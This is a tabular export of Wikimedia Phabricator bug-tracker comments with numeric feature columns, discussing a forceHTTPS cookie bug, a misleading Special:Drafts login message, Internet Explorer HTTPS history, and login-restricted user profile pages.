What is the exact order of steps to follow to reproduce this problem?",,,1383924240,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,15.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9393939393939394,0.9393939393939394,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.

What is the exact order of steps to follow to reproduce this problem?"
260094,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS.",,,1382119030,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8260869565217391,"**salisria** wrote:

A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS."
57394,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","You must log in to view other pages.

Return to Main Page.

This is because:

		// Make sure the user is logged in
		if ( !$user->isLoggedIn() ) {
			// If not, let them know they need to
			$out->loginToUse();
			// Continue
			return;
		}


OutputPage::loginToUse: throw new PermissionsError( 'read' );

which may not be applicable...

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1381117680,1643540946.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ecy4xxktlmnaye5udfda,task_description,resolved,True,c3,1,True,False,False,-91,True,0.0,0.0,0.0,0.5,1.5,5.0,1.5,0.5,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,8.5,1.5,0.0,2.0,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,1.5,4.0,3.0,0.0,2.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,3.638627450980392,0.7319607843137255,"You must log in to view other pages.

Return to Main Page.

This is because:

		// Make sure the user is logged in
		if ( !$user->isLoggedIn() ) {
			// If not, let them know they need to
			$out->loginToUse();
			// Continue
			return;
		}


OutputPage::loginToUse: throw new PermissionsError( 'read' );

which may not be applicable...

--------------------------
**Version**: unspecified
**Severity**: normal"
1628099,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 **merged** by jenkins-bot:
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

https://gerrit.wikimedia.org/r/638995",,,1607199129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c3,3,False,,,283,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,5.0,4.5,0.8409090909090909,"Change 638995 **merged** by jenkins-bot:
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

GERRIT_URL"
1611322,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

https://gerrit.wikimedia.org/r/638995",,,1604480934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c3,3,False,,,278,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,16.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,4.0,4.7,0.86,"Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

GERRIT_URL"
55681,Explorer does not store history when using https,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.

IE users are annoyed... :D

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53636",Lowest,10.0,1378131960,1449171326.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_description,declined,True,c3,1,True,False,False,-96,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.283333333333333,0.6833333333333333,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.

IE users are annoyed... :D

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
572491,Explorer does not store history when using https,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix,,,1449171489,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,3,True,,,22,True,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,17.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.9310344827586207,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix
257441,Explorer does not store history when using https,So tempted to close this INVALID...,,,1400654180,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,So tempted to close this INVALID...
257439,Explorer does not store history when using https,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..

Something else that might be worth investigating is history.pushState magic ?",,,1378202249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-96,True,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,3.0,4.684210526315789,0.9736842105263158,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..

Something else that might be worth investigating is history.pushState magic ?"
257437,Explorer does not store history when using https,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done...",,,1378199589,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c3,1,True,,,-96,True,2.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,16.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,3.6744186046511627,0.813953488372093,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done..."
639,User profile pages require login,"http://web.archive.org/web/20141010155312/https://phabricator.wikimedia.org/p/Nemo_bis/ not nice, especially as that URL is linked from tasks by default for unregistered users as well (example: http://web.archive.org/web/20141010155432/https://phabricator.wikimedia.org/T638 ).",Lowest,10.0,1412956496,1438850128.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_description,resolved,True,c3,1,True,False,True,-38,True,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,28.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.84,0.88,"URL not nice, especially as that URL is linked from tasks by default for unregistered users as well (example: URL )."
497709,User profile pages require login,"Thanks @qgil, I'll try to get that deployed this week.",,,1438027350,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"ThanksSCREEN_NAME, I'll try to get that deployed this week."
497500,User profile pages require login,Fixed as per https://secure.phabricator.com/rPcf83db15d6bae88770291307bc1cdb4ea6200cf8,,,1438011707,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed as per URL
437803,User profile pages require login,">>! In T639#1016038, @Qgil wrote:
> Another local patch to maintain, with no benefit that I can see.

The benefit is that users don't have to log in to get the same experience. This is especially important on mobile where I'm not going to type my super long password in, but am trying to figure out who a person is.",,,1428040003,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,10.0,18.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,6.0,8.0,10.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,3.627450980392157,0.8431372549019608,"QUOTE
QUOTE

The benefit is that users don't have to log in to get the same experience. This is especially important on mobile where I'm not going to type my super long password in, but am trying to figure out who a person is."
406834,User profile pages require login,"Another local patch to maintain, with no benefit that I can see.",,,1423086970,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,"Another local patch to maintain, with no benefit that I can see."
406831,User profile pages require login,"> not worth maintaining a local patch for this

How about a local customisation that unlinks the profiles, then?",,,1423086841,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,14.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"QUOTE

How about a local customisation that unlinks the profiles, then?"
406767,User profile pages require login,"Upstream keeps thinking that user profiles should not be publicly accessible, and the Wikimedia Phabricator team keeps thinking that it is not worth maintaining a local patch for this. I propose to decline this task.",,,1423079416,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,5.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,4.7894736842105265,0.8421052631578947,"Upstream keeps thinking that user profiles should not be publicly accessible, and the Wikimedia Phabricator team keeps thinking that it is not worth maintaining a local patch for this. I propose to decline this task."
3546,User profile pages require login,"> It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.

Same in the ""go crash against that wall"" sentences above.",,,1413728696,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,"QUOTE

Same in the ""go crash against that wall"" sentences above."
3545,User profile pages require login,"> It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.

Same in the ""please go crash against that wall"" sentences above.",,,1413728591,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.9375,"QUOTE

Same in the ""please go crash against that wall"" sentences above."
3495,User profile pages require login,"Bugzilla neither offers user profiles nor any such list displaying your own activity. If Bugzilla had linking of names, your email client would probably start instead. 
So there's no regression and we could take a look in a few weeks if this would be worth to fix or not.

>>! In T639#11563, @Nemo_bis wrote:
> Work on a local fix.

It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence.",,,1413567399,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,2.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,1.0,5.0,10.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,1.0,4.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,11.0,2.0,7.0,11.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,6.0,10.0,1.0,0.0,5.0,0.0,6.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.7439024390243905,0.8048780487804879,"Bugzilla neither offers user profiles nor any such list displaying your own activity. If Bugzilla had linking of names, your email client would probably start instead. 
So there's no regression and we could take a look in a few weeks if this would be worth to fix or not.

QUOTE
QUOTE

It looks like either an ""I"" or a ""Please"" got lost at the beginning of that sentence."
3544,User profile pages require login,"(See ""Is upstream Phabricator for me?"" on that: http://web.archive.org/web/20141019142039/https://secure.phabricator.com/T6347 )",,,1413728478,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.933333333333333,0.9333333333333333,"(See ""Is upstream Phabricator for me?"" on that: URL )"
3492,User profile pages require login,"(See ""Is upstream Phabricator for me?"" on that: https://secure.phabricator.com/T4778 )",,,1413566821,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.933333333333333,0.9333333333333333,"(See ""Is upstream Phabricator for me?"" on that: URL )"
3491,User profile pages require login,"If upstream has strong opinions, it's useless to discuss there. Work on a local fix.",,,1413566036,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.9473684210526315,"If upstream has strong opinions, it's useless to discuss there. Work on a local fix."
3264,User profile pages require login,"Upstream has a strong opinion about restricting user related information to All (registered) Users, not Public, and this has consequences like the one reported in this task.

